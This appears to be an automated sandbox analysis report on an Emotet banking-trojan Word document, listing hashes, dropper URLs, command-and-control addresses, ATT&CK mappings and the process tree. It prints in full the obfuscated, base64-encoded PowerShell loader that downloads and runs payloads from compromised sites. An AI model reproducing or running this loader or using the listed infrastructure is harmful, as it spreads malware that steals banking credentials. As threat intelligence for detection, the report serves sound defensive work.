emotet | 47d2663f2d97a5313bd52117865a0fc284bc8b3c8ebc176fb27d2ed5d60b208f

Analysis

max time kernel
136s
max time network
146s
platform
windows10_x64
resource
win10
submitted
14/10/2020, 21:17

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General

Target
emotet_e2_47d2663f2d97a5313bd52117865a0fc284bc8b3c8ebc176fb27d2ed5d60b208f_2020-10-14__211505165406._doc.doc
Size 128KB
Sample201014-514q9q5k4x
SHA256 47d2663f2d97a5313bd52117865a0fc284bc8b3c8ebc176fb27d2ed5d60b208f
MD5 12610a54d173770937ce8c0bc697501d
SHA1 fa545b8803ef8b6344fe3fee23022dbab35a1867
SHA512 d2c0cd82a72a6ef47509097d202efeb859da01542de450988c3d958545a99bf299d52368ff191d0ad3e40593a8bdec60d01001ad3ab13fc93a4638d30c5d9e7c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://savetheboom.com/admin_access/xht/
exe.dropper
https://dakwahwisata.net/wp-admin/c/
exe.dropper
https://popcornv.com/wp-includes/KHKX/
exe.dropper
https://dusitserve.com/gethits/o3A/
exe.dropper
https://asc-kl.com/v2/Ztf/
exe.dropper
http://gaashaan.com/cgi-bin/O/
exe.dropper
http://inmaainv.com/site/cLDOJFI/

Extracted

Family

emotet

Botnet

Epoch2

47.36.140.164:80
169.50.76.149:8080
162.241.140.129:8080
104.131.123.136:443
95.213.236.64:8080
130.0.132.242:80
123.176.25.234:80
46.105.131.79:8080
157.245.99.39:8080
79.98.24.39:8080
49.50.209.131:80
72.143.73.234:443
50.91.114.38:80
89.216.122.92:80
5.39.91.110:7080
121.124.124.40:7080
71.72.196.159:80
5.196.74.210:8080
139.162.108.71:8080
61.19.246.238:443
91.211.88.52:7080
120.150.60.189:80
137.59.187.107:8080
139.59.60.244:8080
124.41.215.226:80
194.187.133.160:443
50.35.17.13:80
75.139.38.211:80
96.249.236.156:443
78.188.106.53:443
62.75.141.82:80
190.108.228.27:443
218.147.193.146:80
94.23.237.171:443
139.162.60.124:8080
96.245.227.43:80
174.106.122.139:80
113.61.66.94:80
93.147.212.206:80
203.153.216.189:7080
104.131.11.150:443
94.200.114.161:80
87.106.136.232:8080
69.206.132.149:80
172.91.208.86:80
110.145.77.103:80
188.219.31.12:80
71.15.245.148:8080
121.7.31.214:80
97.82.79.83:80
42.200.107.142:80
185.94.252.104:443
168.235.67.138:7080
91.146.156.228:80
24.137.76.62:80
87.106.139.101:8080
5.196.108.189:8080
194.4.58.192:7080
110.142.236.207:80
24.179.13.119:80
75.143.247.51:80
172.104.97.173:8080
216.139.123.119:80
118.83.154.64:443
74.208.45.104:8080
142.112.10.95:20
109.74.5.95:8080
104.131.44.150:8080
37.139.21.175:8080
139.99.158.11:443
220.245.198.194:80
140.186.212.146:80
78.24.219.147:8080
176.111.60.55:8080
37.187.72.193:8080
162.241.242.173:8080
209.141.54.221:8080
108.46.29.236:80
103.86.49.11:8080
174.45.13.118:80
68.252.26.78:80
62.30.7.67:443
134.209.36.254:8080
120.150.218.241:443
79.137.83.50:443
85.25.106.204:8080
186.74.215.34:80
80.241.255.202:8080
24.43.32.186:80
76.175.162.101:80
190.240.194.77:443
47.144.21.12:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1460	508	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2880-13-0x0000000002190000-0x00000000021AF000-memory.dmp	emotet
behavioral2/memory/2880-14-0x00000000021B0000-0x00000000021CE000-memory.dmp	emotet
behavioral2/memory/1328-17-0x0000000000770000-0x000000000078F000-memory.dmp	emotet
behavioral2/memory/1328-18-0x0000000002130000-0x000000000214E000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1460	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2880	T1_1hl2u.exe
1328	dmband.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\serwvdrv\dmband.exe	T1_1hl2u.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
748	WINWORD.EXE
748	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1460	POwersheLL.exe
1460	POwersheLL.exe
1460	POwersheLL.exe
1328	dmband.exe
1328	dmband.exe
1328	dmband.exe
1328	dmband.exe
1328	dmband.exe
1328	dmband.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1460	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
748	WINWORD.EXE
2880	T1_1hl2u.exe
1328	dmband.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1460 wrote to memory of 2880	1460	POwersheLL.exe	78
PID 1460 wrote to memory of 2880	1460	POwersheLL.exe	78
PID 1460 wrote to memory of 2880	1460	POwersheLL.exe	78
PID 2880 wrote to memory of 1328	2880	T1_1hl2u.exe	80
PID 2880 wrote to memory of 1328	2880	T1_1hl2u.exe	80
PID 2880 wrote to memory of 1328	2880	T1_1hl2u.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_47d2663f2d97a5313bd52117865a0fc284bc8b3c8ebc176fb27d2ed5d60b208f_2020-10-14__211505165406._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:748

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBwAHIATwBGAGkAbABlAFwAWgBkADUANQAzAEMATABcAEoATABGADcASQBBAHIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAEkAVABgAHkAYABwAHIATwBgAFQATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUQB6ADEAeQB5ADAAeAAgAD0AIAAoACgAJwBUACcAKwAnADEAXwAnACkAKwAnADEAJwArACgAJwBoAGwAMgAnACsAJwB1ACcAKQApADsAJABRAGwAbQA0ADIANABwAD0AKAAnAE4AJwArACgAJwB3ADAAJwArACcAMQB1ACcAKQArACcAZgA2ACcAKQA7ACQAUAA3AGkAXwA1AGIAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBaACcAKwAoACcAZAA1ACcAKwAnADUAJwApACsAJwAzAGMAJwArACcAbAB7ACcAKwAnADAAfQAnACsAJwBKAGwAZgA3AGkAYQByAHsAMAB9ACcAKQAtAEYAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAegAxAHkAeQAwAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABZAHcAbgA5AG8AZwByAD0AKAAnAE4AZQAnACsAJwB0ACcAKwAoACcAYgAyACcAKwAnAGIAZgAnACkAKQA7ACQAVABrAGUAMgAyAHIAYQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAQgBjAGwAaQBlAG4AVAA7ACQASAB1AGYANgBrAGQANQA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAHMAYQB2AGUAJwArACcAdABoAGUAJwApACsAKAAnAGIAJwArACcAbwBvAG0AJwArACcALgBjAG8AJwArACcAbQAvAGEAJwApACsAKAAnAGQAJwArACcAbQAnACsAJwBpAG4AJwArACcAXwBhAGMAYwBlAHMAcwAvAHgAJwArACcAaAAnACkAKwAnAHQALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBkAGEAawB3AGEAJwArACcAaAB3ACcAKQArACgAJwBpAHMAJwArACcAYQB0ACcAKQArACcAYQAuACcAKwAoACcAbgAnACsAJwBlAHQALwB3ACcAKQArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAJwArACcAbgAvACcAKwAnAGMAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwBwAG8AcAAnACsAJwBjAG8AcgBuAHYAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3ACcAKwAnAHAALQBpAG4AJwApACsAKAAnAGMAJwArACcAbAB1AGQAZQBzAC8ASwBIACcAKwAnAEsAJwApACsAJwBYACcAKwAoACcALwAqAGgAdAB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBkAHUAcwAnACkAKwAoACcAaQAnACsAJwB0AHMAZQByACcAKQArACcAdgBlACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAZwBlACcAKwAoACcAdAAnACsAJwBoAGkAdABzACcAKQArACgAJwAvAG8AMwAnACsAJwBBACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGEAcwBjAC0AJwArACcAawAnACkAKwAoACcAbAAuACcAKwAnAGMAbwBtAC8AdgAyACcAKwAnAC8AWgB0AGYALwAnACsAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGcAYQAnACsAJwBhAHMAaAAnACkAKwAoACcAYQAnACsAJwBhAG4ALgAnACkAKwAoACcAYwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAE8AJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBuACcAKQArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAaQBuAHYALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHMAaQB0AGUAJwArACcALwBjAEwARABPACcAKQArACgAJwBKAEYAJwArACcASQAvACcAKQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABMAGcAMwBiAHYAOQBlACkAOwAkAFIAZwAyADYAdQBkAHIAPQAoACgAJwBTACcAKwAnAGgAcABqAGoAJwApACsAJwA5AGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA1AHAAdgBkAHkAOQAgAGkAbgAgACQASAB1AGYANgBrAGQANQApAHsAdAByAHkAewAkAFQAawBlADIAMgByAGEALgAiAEQATwB3AG4AYABsAGAATwBBAEQARgBgAGkATABFACIAKAAkAFYANQBwAHYAZAB5ADkALAAgACQAUAA3AGkAXwA1AGIAZQApADsAJABEAHQAagB6AG8AdwBfAD0AKAAnAFYAJwArACcAaQBrACcAKwAoACcAeAAnACsAJwBqAG8AMAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABQADcAaQBfADUAYgBlACkALgAiAEwAYABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADkAMAA5ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUAA3AGkAXwA1AGIAZQApADsAJABDAGIAbgBvAGEAeAA2AD0AKAAnAFQAaQAnACsAJwBoACcAKwAoACcAMwBoADUAJwArACcAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgA3AGgAMwBxAHIAYgA9ACgAKAAnAEgAYQBsACcAKwAnADQAJwApACsAJwA1AG4AJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkANABoADgANQBmAGYAPQAoACcASwB1ACcAKwAnAHgAJwArACgAJwBvADQAJwArACcAegB3ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1460
- C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe
  "C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\SysWOW64\serwvdrv\dmband.exe
    "C:\Windows\SysWOW64\serwvdrv\dmband.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/748-4-0x0000023511005000-0x000002351100A000-memory.dmp

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memory/748-1-0x0000023511005000-0x000002351100A000-memory.dmp

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memory/748-5-0x0000023511000000-0x0000023511005000-memory.dmp

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memory/748-6-0x000002350EE53000-0x000002350EE81000-memory.dmp

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memory/748-0-0x00007FFECD980000-0x00007FFECE046000-memory.dmp

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memory/748-3-0x0000023511005000-0x000002351100A000-memory.dmp

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memory/748-2-0x0000023511000000-0x0000023511005000-memory.dmp

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memory/1328-18-0x0000000002130000-0x000000000214E000-memory.dmp

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memory/1328-17-0x0000000000770000-0x000000000078F000-memory.dmp

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memory/1460-7-0x00007FFEC6580000-0x00007FFEC6F6C000-memory.dmp

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memory/1460-8-0x0000014AD9390000-0x0000014AD9391000-memory.dmp

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memory/1460-9-0x0000014AF16B0000-0x0000014AF16B1000-memory.dmp

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memory/2880-14-0x00000000021B0000-0x00000000021CE000-memory.dmp

Download

memory/2880-13-0x0000000002190000-0x00000000021AF000-memory.dmp

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